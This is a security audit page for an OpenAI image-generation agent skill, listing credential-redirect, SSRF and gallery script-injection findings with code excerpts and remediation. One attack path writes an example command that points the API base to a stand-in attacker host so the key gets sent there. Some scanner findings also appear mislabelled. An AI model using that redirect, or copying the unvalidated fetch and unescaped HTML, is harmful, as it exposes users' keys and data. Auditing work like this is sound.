Back to skill

Security audit

Openai Image Gen

Security checks for vulnerabilities and agentic risk

Overview

This image generator mostly matches its description, but it needs review because unsafe endpoint and gallery handling could expose your OpenAI key or prompt content in some setups.

Review before installing. Use it only with a trusted environment, leave OPENAI_BASE_URL and OPENAI_API_BASE unset unless you intentionally use a trusted compatible endpoint, avoid putting secrets or confidential information in prompts, and do not open generated galleries from prompts supplied by someone you do not trust until the HTML escaping issue is fixed.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/gen.py:31
Finding

OpenAI API Key Can Be Disclosed to an Unrestricted Custom Endpoint

Content
View full analysis
str: base = ( os.environ.get("OPENAI_BASE_URL") or os.environ.get("OPENAI_API_BASE") or "https://api.openai.com" ).rstrip("/") if base.endswith("/v1"): return f"{base}/images/generations" return f"{base}/v1/images/generations" ``` ```python def _post_json(url: str, api_key: str, payload: dict, timeout_s: int) -> dict: body = json.dumps(payload).encode("utf-8") req = urllib.request.Request( url, data=body, headers={ "Authorization": f"Bearer {api_key}", "Content-Type": "application/json", }, method="POST", ) ``` ### Technical Analysis The API destination can be overridden through `OPENAI_BASE_URL` or `OPENAI_API_BASE`. No scheme or hostname validation is performed before the script places the OpenAI API key in the HTTP `Authorization` header. Consequently, any process or configuration capable of controlling these environment variables can redirect the request to an arbitrary host. The code also permits plaintext `http://` destinations, allowing the bearer credential and prompt data to be transmitted without transport encryption. Custom API endpoints can be legitimate for compatible proxies, but this behavior is not documented in `SKILL.md`, which declares use of the OpenAI Images API. Sending the OpenAI credential to an unrestricted host exceeds the minimum network privileges required for the declared OpenAI-only functionality. ### Attack Path 1. An attacker influences the execution environment, shell profile, CI configuration, wrapper script, or launcher configuration. 2. The attacker sets an environment variable such as: ```bash export OPENAI_BASE_URL="https://attacker.example ...[truncated 977 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/gen.py:199
Finding

Unvalidated Server-Provided Image URL Enables Arbitrary Resource Retrieval

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/gen.py:132
Finding

Unescaped Prompt Content Enables Script Injection in the Generated Gallery

Content
View full analysis
") html.append(f"") html.append(f"
text
{it['prompt']}
") html.append("") ``` ### Technical Analysis Prompt text is interpolated directly into the generated `index.html` without HTML escaping. The `--prompt` argument is user-controlled and can contain closing tags, HTML elements, event handlers, or script elements. The `
text
` element does not neutralize markup. A payload can close the element and insert active HTML or JavaScript. Because `SKILL.md` explicitly instructs users to open the generated gallery, injected content is likely to be rendered after generation.

Generated filenames are derived through `_slug()` and are restricted to lowercase alphanumeric characters and hyphens, so the prompt interpolation is the confirmed injection point.

### Attack Path

1. An attacker supplies or persuades a user to use a crafted prompt, for example:
   ```html
   
text
   ```
2. The user runs the generator with the crafted value through `--prompt`.
3. The raw prompt is stored in the `items` collection.
4. `_write_index()` inserts it directly into `index.html`.
5. The user opens the generated gallery as directed by the Skill documentation.
6. The browser interprets the injected markup and executes the script in the local gallery context.

### Impact Assessment

Injected JavaScript can modify the gallery, display deceptive content, initiate network requests, track when the gallery is opened, or expose information available to scripts in the resulting document context. Browser protections generally constrain access from a local file to unrelated local files, so a
...[truncated 308 chars]
Remediation
View remediation
{html.escape(it['prompt'])}") ``` 2. Escape all values placed into HTML attributes, even where current filename sanitization appears sufficient. 3. Prefer an auto-escaping HTML template engine to reduce the chance of future unsafe interpolation. 4. Add a restrictive Content Security Policy to the generated page, for example one that disallows scripts and remote resources. 5. Add regression tests using prompts containing closing tags, quotes, event handlers, ampersands, and script elements. 6. Treat `prompts.json` and gallery content as untrusted data if they can be shared between users or generated from externally supplied prompts. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • System Prompt LeakageDirect Leakage, Indirect Extraction, Tool-Based Exfiltration
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (5)

Tainted flow: 'url_img' from os.environ.get (line 197, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
92% confidence
Finding

The script blindly fetches a URL returned by the upstream API response using urllib.request.urlopen without validating scheme, host, or destination. If the configured API base points to an untrusted or compromised server, that server can cause the client to make arbitrary outbound requests, enabling SSRF-style behavior against internal services or unexpected local/network resources.

Content

Scanner excerpt · scripts/gen.py (reported line 209)May include surrounding context.

python
elif url_img:
            # Some models/servers return a temporary URL instead of b64_json.
            try:
                with urllib.request.urlopen(url_img, timeout=args.timeout) as resp:
                    img = resp.read()
            except Exception as e:
                raise SystemExit(f"failed to download image url: {e}")

Direct Prompt Extraction

High
Category
System Prompt Leakage
Confidence
85% confidence
Finding

Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Content

Scanner excerpt · scripts/gen.py (reported line 94)May include surrounding context.

python
f"Palette: {random.choice(palettes)}. "
            "Crisp, no text, no watermark."
        )
    return prompts


def _post_json(url: str, api_key: str, payload: dict, timeout_s: int) -> dict:

Direct Prompt Extraction

High
Category
System Prompt Leakage
Confidence
85% confidence
Finding

Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Content

Scanner excerpt · scripts/gen.py (reported line 164)May include surrounding context.

python
p.add_argument("--out-dir", default=None)
    p.add_argument("--api-key", default=None)
    p.add_argument("--prompt", action="append", default=None, help="repeatable; overrides random prompts")
    p.add_argument("--dry-run", action="store_true", help="print prompts + exit (no API calls)")
    args = p.parse_args(argv)

    api_key = args.api_key or os.environ.get("OPENAI_API_KEY")

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
91% confidence
Finding

The skill invokes a Python script that requires an API key from the environment and makes outbound requests to the OpenAI Images API, but the skill metadata does not declare tool scope such as permissions or allowed tools. This creates a transparency and governance gap: users or hosting platforms cannot easily tell that the skill accesses secrets and the network, increasing the chance of unintended secret exposure or unauthorized external transmission.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The setup and run instructions state that prompts are rendered via the OpenAI Images API, but they do not clearly warn users that any prompt text they provide will be transmitted to an external service. If a user includes sensitive, proprietary, or personal information in prompts, that data may leave the local environment without sufficiently explicit notice.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.